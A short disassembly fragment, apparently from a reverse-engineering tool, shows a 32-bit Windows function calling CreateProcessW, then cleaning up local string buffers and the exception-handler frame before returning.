push ebx
push ebx
push 1
push ebx
push ebx
push dword [ebp - 0x2c8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, ebx
jne 0x662014eb
lea ecx, [ebp - 0x2c8]
call fcn.66203260
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 1
call fcn.66203260
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], bl
call fcn.66203260
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.66203260
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret